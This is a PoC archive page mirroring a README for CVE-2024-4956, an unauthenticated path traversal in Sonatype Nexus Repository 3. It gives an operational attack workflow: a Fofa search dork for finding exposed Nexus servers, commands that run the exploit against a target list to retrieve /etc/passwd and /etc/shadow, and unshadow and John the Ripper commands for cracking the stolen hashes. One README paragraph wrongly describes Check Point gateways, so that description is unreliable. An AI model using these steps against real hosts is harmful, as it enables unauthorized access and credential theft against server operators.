Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4956 PoC — Nexus Repository 3 - Path Traversal

Source
Associated Vulnerability
Title:Nexus Repository 3 - Path Traversal (CVE-2024-4956)
Description:Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.
Description
POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
Readme
# CVE-2024-4956
POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.

**Read about it** — [CVE-2024-4956](https://nvd.nist.gov/vuln/detail/CVE-2024-4956)

> **Disclaimer**: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

## Getting Started

### Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

- **Fofa Dork**: `header="Server: Nexus/3.53.0-01 (OSS)"`
  
![Alt text](POC1.png)

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-4956
```

Next chose your target and add it to list.txt file in this format:

- https://ip_address

Run the Exploit:

```bash
python3 CVE-2024-4956.py -l list.txt
```
The output is passwd and shadow files that found:

![Alt text](POC2.png)


Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):
```bash
unshadow passwd shadow > unshadowed.txt 
```
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```
File Snapshot

[4.0K] /data/pocs/499a9d59acb26357c6b8af2567aeda21190d78d8 ├── [3.5K] CVE-2024-4956.py ├── [120K] POC1.png ├── [ 95K] POC2.png └── [1.7K] README.md 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →